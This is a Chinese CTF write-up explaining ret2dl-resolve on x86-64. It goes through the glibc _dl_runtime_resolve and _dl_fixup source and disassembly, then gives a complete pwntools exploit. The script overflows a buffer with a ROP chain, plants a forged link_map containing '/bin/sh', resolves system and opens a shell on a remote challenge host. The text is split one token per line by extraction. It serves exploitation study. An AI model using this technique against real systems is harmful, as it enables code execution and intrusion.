由于程序中提供的函数符号有限,所以无法正常泄露出libc基址,需要ret2dl-resolve泄露libc函数地址,并使用其和system函数的偏移计算得到system函数
当程序每次call _read
时,都将跳转至0x4003F0执行jmp语句,在首次调用时,cs:off_601018
指向[email protected]的下一条指令,即0x4003F6以进行绑定操作,在第一次调用后,cs:off_601018
将指向read的真正地址
在push cs:linkMap
后跳转至_dl_runtime_resolve
函数,加上[email protected]中push 0
,此处即调用_dl_runtime_resolve(linkMap,0)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
;↓↓↓↓↓↓↓↓↓↓保存调用参数环境↓↓↓↓↓↓↓↓↓↓
0x00007ffff7c17750
<
+
0
>: push rbx
0x00007ffff7c17751
<
+
1
>: mov rbx,rsp
0x00007ffff7c17754
<
+
4
>:
and
rsp,
0xffffffffffffffc0
0x00007ffff7c17758
<
+
8
>: sub rsp,QWORD PTR [rip
+
0x2100a9
]
0x00007ffff7c1775f
<
+
15
>: mov QWORD PTR [rsp],rax
0x00007ffff7c17763
<
+
19
>: mov QWORD PTR [rsp
+
0x8
],rcx
0x00007ffff7c17768
<
+
24
>: mov QWORD PTR [rsp
+
0x10
],rdx
0x00007ffff7c1776d
<
+
29
>: mov QWORD PTR [rsp
+
0x18
],rsi
0x00007ffff7c17772
<
+
34
>: mov QWORD PTR [rsp
+
0x20
],rdi
0x00007ffff7c17777
<
+
39
>: mov QWORD PTR [rsp
+
0x28
],r8
0x00007ffff7c1777c
<
+
44
>: mov QWORD PTR [rsp
+
0x30
],r9
0x00007ffff7c17781
<
+
49
>: mov eax,
0xee
0x00007ffff7c17786
<
+
54
>: xor edx,edx
0x00007ffff7c17788
<
+
56
>: mov QWORD PTR [rsp
+
0x250
],rdx
0x00007ffff7c17790
<
+
64
>: mov QWORD PTR [rsp
+
0x258
],rdx
0x00007ffff7c17798
<
+
72
>: mov QWORD PTR [rsp
+
0x260
],rdx
0x00007ffff7c177a0
<
+
80
>: mov QWORD PTR [rsp
+
0x268
],rdx
0x00007ffff7c177a8
<
+
88
>: mov QWORD PTR [rsp
+
0x270
],rdx
0x00007ffff7c177b0
<
+
96
>: mov QWORD PTR [rsp
+
0x278
],rdx
0x00007ffff7c177b8
<
+
104
>: xsavec [rsp
+
0x40
]
0x00007ffff7c177bd
<
+
109
>: mov rsi,QWORD PTR [rbx
+
0x10
]
0x00007ffff7c177c1
<
+
113
>: mov rdi,QWORD PTR [rbx
+
0x8
]
;↑↑↑↑↑↑↑↑↑↑保存调用参数环境↑↑↑↑↑↑↑↑↑↑
0x00007ffff7c177c5
<
+
117
>: call
0x7ffff7c0fdf0
<_dl_fixup>;真正的绑定查询函数
0x00007ffff7c177ca
<
+
122
>: mov r11,rax ;将结果保存至R11
;↓↓↓↓↓↓↓↓↓↓还原调用参数环境↓↓↓↓↓↓↓↓↓↓
0x00007ffff7c177cd
<
+
125
>: mov eax,
0xee
0x00007ffff7c177d2
<
+
130
>: xor edx,edx
0x00007ffff7c177d4
<
+
132
>: xrstor [rsp
+
0x40
]
0x00007ffff7c177d9
<
+
137
>: mov r9,QWORD PTR [rsp
+
0x30
]
0x00007ffff7c177de
<
+
142
>: mov r8,QWORD PTR [rsp
+
0x28
]
0x00007ffff7c177e3
<
+
147
>: mov rdi,QWORD PTR [rsp
+
0x20
]
0x00007ffff7c177e8
<
+
152
>: mov rsi,QWORD PTR [rsp
+
0x18
]
0x00007ffff7c177ed
<
+
157
>: mov rdx,QWORD PTR [rsp
+
0x10
]
0x00007ffff7c177f2
<
+
162
>: mov rcx,QWORD PTR [rsp
+
0x8
]
0x00007ffff7c177f7
<
+
167
>: mov rax,QWORD PTR [rsp]
0x00007ffff7c177fb
<
+
171
>: mov rsp,rbx
0x00007ffff7c177fe
<
+
174
>: mov rbx,QWORD PTR [rsp]
0x00007ffff7c17802
<
+
178
>: add rsp,
0x18
;↑↑↑↑↑↑↑↑↑↑还原调用参数环境↑↑↑↑↑↑↑↑↑↑
0x00007ffff7c17806
<
+
182
>: bnd jmp r11 ;跳转至原目标函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
_dl_fixup(struct link_map
*
l, ElfW(Word) reloc_arg)
{
/
/
符号表symtab
=
linkMap
-
>l_info[
6
]
const ElfW(Sym)
*
const symtab
=
(const void
*
)D_PTR(l, l_info[DT_SYMTAB]);
/
/
字符串表strtab
=
linkMap
-
>l_info[
5
]
const char
*
strtab
=
(const void
*
)D_PTR(l, l_info[DT_STRTAB]);
/
/
重定位表reloc
=
linkMap
-
>l_info[
23
]
+
reloc_arg
const PLTREL
*
const reloc
=
(const void
*
)(D_PTR(l, l_info[DT_JMPREL])
+
reloc_offset);
/
/
定位符号sym
=
symtab[reloc
-
>r_info] 此处使用reloc
-
>r_info的高
32
位作为索引
const ElfW(Sym)
*
sym
=
&symtab[ELFW(R_SYM)(reloc
-
>r_info)];
const ElfW(Sym)
*
refsym
=
sym;
/
/
重定位地址(rel_addr)
=
LinkMap
-
>l_addr
+
reloc
-
>r_offset
void
*
const rel_addr
=
(void
*
)(l
-
>l_addr
+
reloc
-
>r_offset);
lookup_t result;
DL_FIXUP_VALUE_TYPE value;
/
*
判断重定位类型是否为
7
-
-
ELF_MACHINE_JMP_SLOT
*
/
assert
(ELFW(R_TYPE)(reloc
-
>r_info)
=
=
ELF_MACHINE_JMP_SLOT);
/
*
此处判断sym
-
>st_other的最后两位是否为
0
*
/
if
(__builtin_expect(ELFW(ST_VISIBILITY)(sym
-
>st_other),
0
)
=
=
0
)
{
const struct r_found_version
*
version
=
NULL;
if
(l
-
>l_info[VERSYMIDX(DT_VERSYM)] !
=
NULL)
{
const ElfW(Half)
*
vernum
=
(const void
*
)D_PTR(l, l_info[VERSYMIDX(DT_VERSYM)]);
ElfW(Half) ndx
=
vernum[ELFW(R_SYM)(reloc
-
>r_info)] &
0x7fff
;
version
=
&l
-
>l_versions[ndx];
if
(version
-
>
hash
=
=
0
)
version
=
NULL;
}
int
flags
=
DL_LOOKUP_ADD_DEPENDENCY;
/
/
156
if
(!RTLD_SINGLE_THREAD_P)
/
/
171
{
THREAD_GSCOPE_SET_FLAG();
flags |
=
DL_LOOKUP_GSCOPE_LOCK;
}
RTLD_ENABLE_FOREIGN_CALL;
result
=
_dl_lookup_symbol_x(strtab
+
sym
-
>st_name, l, &sym, l
-
>l_scope,
version, ELF_RTYPE_CLASS_PLT, flags, NULL);
/
*
We are done with the
global
scope.
*
/
if
(!RTLD_SINGLE_THREAD_P)
/
/
+
226
THREAD_GSCOPE_RESET_FLAG();
RTLD_FINALIZE_FOREIGN_CALL;
/
*
Currently result contains the base load address (
or
link
map
)
of the
object
that defines sym. Now add
in
the symbol
offset.
*
/
value
=
DL_FIXUP_MAKE_VALUE(result,sym ? (LOOKUP_VALUE_ADDRESS(result)
+
sym
-
>st_value) :
0
);
}
else
{
/
/
绑定查询结果等于 linkMap
-
>l_addr
+
sym
-
>st_value
value
=
DL_FIXUP_MAKE_VALUE(l, l
-
>l_addr
+
sym
-
>st_value);
result
=
l;
}
value
=
elf_machine_plt_value(l, reloc, value);
if
(sym !
=
NULL && __builtin_expect(ELFW(ST_TYPE)(sym
-
>st_info)
=
=
STT_GNU_IFUNC,
0
))
value
=
elf_ifunc_invoke(DL_FIXUP_VALUE_ADDR(value));
/
*
Finally, fix up the plt itself.
*
/
if
(__glibc_unlikely(GLRO(dl_bind_not)))
return
value;
return
elf_machine_fixup_plt(l, result, refsym, sym, reloc, rel_addr, value);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
<
+
0
>: push rbx
<
+
1
>: mov r10,rdi ;r10
=
rdi
=
LinkMap
<
+
4
>: mov esi,esi
<
+
6
>: lea rdx,[rsi
+
rsi
*
2
] ;rdx
=
rsi
=
0
<
+
10
>: sub rsp,
0x10
;const char
*
strtab
=
(const void
*
)D_PTR(l, l_info[DT_STRTAB]);
<
+
14
>: mov rax,QWORD PTR [rdi
+
0x68
] ;rax
=
DT_STRTAB
<
+
18
>: mov rdi,QWORD PTR [rax
+
0x8
] ;rdi
=
ELF String Table
;const PLTREL
*
const reloc
=
(const void
*
)(D_PTR(l, l_info[DT_JMPREL])
+
reloc_offset);
<
+
22
>: mov rax,QWORD PTR [r10
+
0xf8
] ;rax
=
DT_JMPREL
<
+
29
>: mov rax,QWORD PTR [rax
+
0x8
] ;rax
=
Elf64_Rela
;const ElfW(Sym)
*
const symtab
=
(const void
*
)D_PTR(l, l_info[DT_SYMTAB]);
<
+
33
>: lea r8,[rax
+
rdx
*
8
] ;r8
=
rax
=
Elf64_Rela
<
+
37
>: mov rax,QWORD PTR [r10
+
0x70
] ;rax
=
DT_SYMTAB
;const PLTREL
*
const reloc
=
(const void
*
)(D_PTR(l, l_info[DT_JMPREL])
+
reloc_offset);
<
+
41
>: mov rcx,QWORD PTR [r8
+
0x8
] ;rcx
=
Elf64_Rela
-
>r_info
<
+
45
>: mov rbx,QWORD PTR [r8] ;rbx
=
Elf64_Rela
-
>r_offset
const ElfW(Sym)
*
sym
=
&symtab[ELFW(R_SYM)(reloc
-
>r_info)];
<
+
48
>: mov rax,QWORD PTR [rax
+
0x8
] ;rax
=
Elf64_Sym
<
+
52
>: mov rdx,rcx ;rdx
=
rcx
=
Elf64_Rela
-
>r_info
<
+
55
>: shr rdx,
0x20
;rdx
=
rdx >>
0x20
=
Elf64_Rela
-
>r_info>>
0x20
<
+
59
>: lea rsi,[rdx
+
rdx
*
2
]
<
+
63
>: lea rsi,[rax
+
rsi
*
8
] ;rsi
=
Elf64_Sym[Elf64_Rela
-
>r_info >>
32
]
;const PLTREL
*
const reloc
=
(const void
*
)(D_PTR(l, l_info[DT_JMPREL])
+
reloc_offset);
<
+
67
>: mov rax,QWORD PTR [r10] ;rax
=
linkMap
-
>l_addr
<
+
70
>: mov QWORD PTR [rsp
+
0x8
],rsi ;var_sym
=
rsi
<
+
75
>: add rbx,rax
;
assert
(ELFW(R_TYPE)(reloc
-
>r_info)
=
=
ELF_MACHINE_JMP_SLOT);
<
+
78
>:
cmp
ecx,
0x7
<
+
81
>: jne
0x7fa516a0ff64
<_dl_fixup
+
372
>
;
if
(__builtin_expect(ELFW(ST_VISIBILITY)(sym
-
>st_other),
0
)
=
=
0
)
<
+
87
>: test BYTE PTR [rsi
+
0x5
],
0x3
<
+
91
>: jne
0x7fa516a0fee8
<_dl_fixup
+
248
>
<
+
97
>: mov rax,QWORD PTR [r10
+
0x1c8
]
<
+
104
>: xor r8d,r8d
<
+
107
>: test rax,rax
<
+
110
>: je
0x7fa516a0fe8c
<_dl_fixup
+
156
>
<
+
112
>: mov rax,QWORD PTR [rax
+
0x8
]
<
+
116
>: movzx eax,WORD PTR [rax
+
rdx
*
2
]
<
+
120
>:
and
eax,
0x7fff
<
+
125
>: lea rdx,[rax
+
rax
*
2
]
<
+
129
>: mov rax,QWORD PTR [r10
+
0x2e0
]
<
+
136
>: lea r8,[rax
+
rdx
*
8
]
<
+
140
>: mov eax,
0x0
<
+
145
>: mov r9d,DWORD PTR [r8
+
0x8
]
<
+
149
>: test r9d,r9d
<
+
152
>: cmove r8,rax
<
+
156
>: mov edx,DWORD PTR fs:
0x18
<
+
164
>: test edx,edx
<
+
166
>: mov eax,
0x1
<
+
171
>: jne
0x7fa516a0ff48
<_dl_fixup
+
344
>
<
+
177
>: mov esi,DWORD PTR [rsi]
<
+
179
>: mov rcx,QWORD PTR [r10
+
0x380
]
<
+
186
>: lea rdx,[rsp
+
0x8
]
<
+
191
>: push
0x0
<
+
193
>: push rax
<
+
194
>: mov r9d,
0x1
<
+
200
>: add rdi,rsi
<
+
203
>: mov rsi,r10
<
+
206
>: call
0x7fa516a0b0b0
<_dl_lookup_symbol_x>
<
+
211
>: mov r8,rax
<
+
214
>: mov eax,DWORD PTR fs:
0x18
<
+
222
>: test eax,eax
<
+
224
>: pop rcx
<
+
225
>: pop rsi
<
+
226
>: jne
0x7fa516a0ff10
<_dl_fixup
+
288
>
<
+
228
>: mov rsi,QWORD PTR [rsp
+
0x8
]
<
+
233
>: xor eax,eax
;
if
(sym !
=
NULL && __builtin_expect(ELFW(ST_TYPE)(sym
-
>st_info)
=
=
STT_GNU_IFUNC,
0
))
<
+
235
>: test rsi,rsi
<
+
238
>: je
0x7fa516a0fef8
<_dl_fixup
+
264
>;sym
=
=
NULL
<
+
240
>: test r8,r8
<
+
243
>: je
0x7fa516a0fee8
<_dl_fixup
+
248
>
<
+
245
>: mov rax,QWORD PTR [r8]
;value
=
DL_FIXUP_MAKE_VALUE(l, l
-
>l_addr
+
sym
-
>st_value);
<
+
248
>: movzx edx,BYTE PTR [rsi
+
0x4
] ;edx
=
[rsi
+
0x4
]
=
sym
-
>st_info
<
+
252
>: add rax,QWORD PTR [rsi
+
0x8
] ;rax
=
rax
+
[rsi
+
0x8
]
=
linkMap
-
>l_addr
+
sym
-
>st_value 此命令执行完后rax
=
真正函数地址
;
if
(sym !
=
NULL && __builtin_expect(ELFW(ST_TYPE)(sym
-
>st_info)
=
=
STT_GNU_IFUNC,
0
))
<
+
256
>:
and
edx,
0xf
<
+
259
>:
cmp
dl,
0xa
;
if
sym
-
>st_info
=
=
STT_GNU_IFUNC
<
+
262
>: je
0x7fa516a0ff60
<_dl_fixup
+
368
>
;
if
(__glibc_unlikely(GLRO(dl_bind_not)))
<
+
264
>: mov edx,DWORD PTR [rip
+
0x2178aa
] ;edx
=
dl_bind_not
<
+
270
>: test edx,edx
<
+
272
>: jne
0x7fa516a0ff05
<_dl_fixup
+
277
> ;
if
(__glibc_unlikely(GLRO(dl_bind_not)))
;
return
value;
<
+
274
>: mov QWORD PTR [rbx],rax ;reloc
=
绑定查询结果
<
+
277
>: add rsp,
0x10
<
+
281
>: pop rbx
<
+
282
>: ret
<
+
283
>: nop DWORD PTR [rax
+
rax
*
1
+
0x0
]
<
+
288
>: xor eax,eax
<
+
290
>: xchg DWORD PTR fs:
0x1c
,eax
<
+
298
>:
cmp
eax,
0x2
<
+
301
>: jne
0x7fa516a0fed4
<_dl_fixup
+
228
>
<
+
303
>: mov rdi,QWORD PTR fs:
0x10
<
+
312
>: xor r10d,r10d
<
+
315
>: add rdi,
0x1c
<
+
319
>: mov edx,
0x1
<
+
324
>: mov esi,
0x81
<
+
329
>: mov eax,
0xca
<
+
334
>: syscall
<
+
336
>: jmp
0x7fa516a0fed4
<_dl_fixup
+
228
>
<
+
338
>: nop WORD PTR [rax
+
rax
*
1
+
0x0
]
<
+
344
>: mov DWORD PTR fs:
0x1c
,
0x1
<
+
356
>: mov eax,
0x5
<
+
361
>: jmp
0x7fa516a0fea1
<_dl_fixup
+
177
>
<
+
366
>: xchg ax,ax
;value
=
elf_ifunc_invoke(DL_FIXUP_VALUE_ADDR(value));
<
+
368
>: call rax
<
+
370
>: jmp
0x7fa516a0fef8
<_dl_fixup
+
264
> ;
if
(__glibc_unlikely(GLRO(dl_bind_not)))
<
+
372
>: lea rcx,[rip
+
0x132fd
]
<
+
379
>: lea rsi,[rip
+
0x1115a
]
<
+
386
>: lea rdi,[rip
+
0x132b7
]
<
+
393
>: mov edx,
0x50
<
+
398
>: call
0x7fa516a1b790
<__GI___assert_fail>;重定位类型不等于
7
由于不采用_dl_lookup_symbol_x
查询函数,所以无需伪造ELF_Sym结构体,直接将其指向[email protected]
即可,这样即可得到sym->st_value
为read
的真实地址,而最终地址为 l_addr - sym->st_value
,所以只需计算并传入这个偏移 l_addr
即可获得最终函数的地址
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from
pwn
import
*
prog
=
"./pwn"
context(os
=
'linux'
, arch
=
'amd64'
, log_level
=
'debug'
)
elf
=
ELF(prog)
libc
=
ELF(
"./libc-2.27.so"
)
p
=
remote(
"challenge-f236dc39487bb0bb.sandbox.ctfhub.com"
,
37969
)
fakeLinkMap
=
0x601030
+
0x110
rbp
=
fakeLinkMap
-
8
pop_rdi_ret
=
0x400583
pop_rsi_r15_ret
=
0x400581
main
=
0x4004E7
ret
=
0x4003de
l_addr
=
abs
(libc.sym[
'system'
]
-
libc.sym[
'read'
])
off
=
0xFFFFFFFFFFF3F410
linkMap
=
p64(off)
linkMap
+
=
p64(
0x17
)
linkMap
+
=
p64(fakeLinkMap
+
0x18
)
linkMap
+
=
p64(fakeLinkMap
+
0x30
+
l_addr)
linkMap
+
=
p64(
7
)
linkMap
+
=
p64(
0
)
linkMap
+
=
p64(
0x6
)
linkMap
+
=
p64(elf.got[
'read'
]
-
0x8
)
linkMap
+
=
b
'/bin/sh\x00'
linkMap
=
linkMap.ljust(
0x60
,b
'A'
)
linkMap
+
=
p64(fakeLinkMap
+
0x100
)
linkMap
+
=
p64(fakeLinkMap
+
0x58
)
linkMap
+
=
p64(fakeLinkMap
+
0x30
)
linkMap
=
linkMap.ljust(
0xf8
,b
'A'
)
linkMap
+
=
p64(fakeLinkMap
+
0x8
)
payload
=
b
'a'
*
0x100
payload
+
=
p64(rbp)
payload
+
=
p64(pop_rdi_ret)
payload
+
=
p64(
0
)
payload
+
=
p64(pop_rsi_r15_ret)
payload
+
=
p64(fakeLinkMap)
payload
+
=
p64(
0
)
payload
+
=
p64(elf.plt[
'read'
])
payload
+
=
p64(pop_rdi_ret)
payload
+
=
p64(fakeLinkMap
+
0x40
)
payload
+
=
p64(ret)
payload
+
=
p64(
0x4003E6
)
payload
+
=
p64(fakeLinkMap)
payload
+
=
p64(
0
)
payload
+
=
p64(main)
pause()
p.send(payload)
pause()
p.send(linkMap)
p.interactive()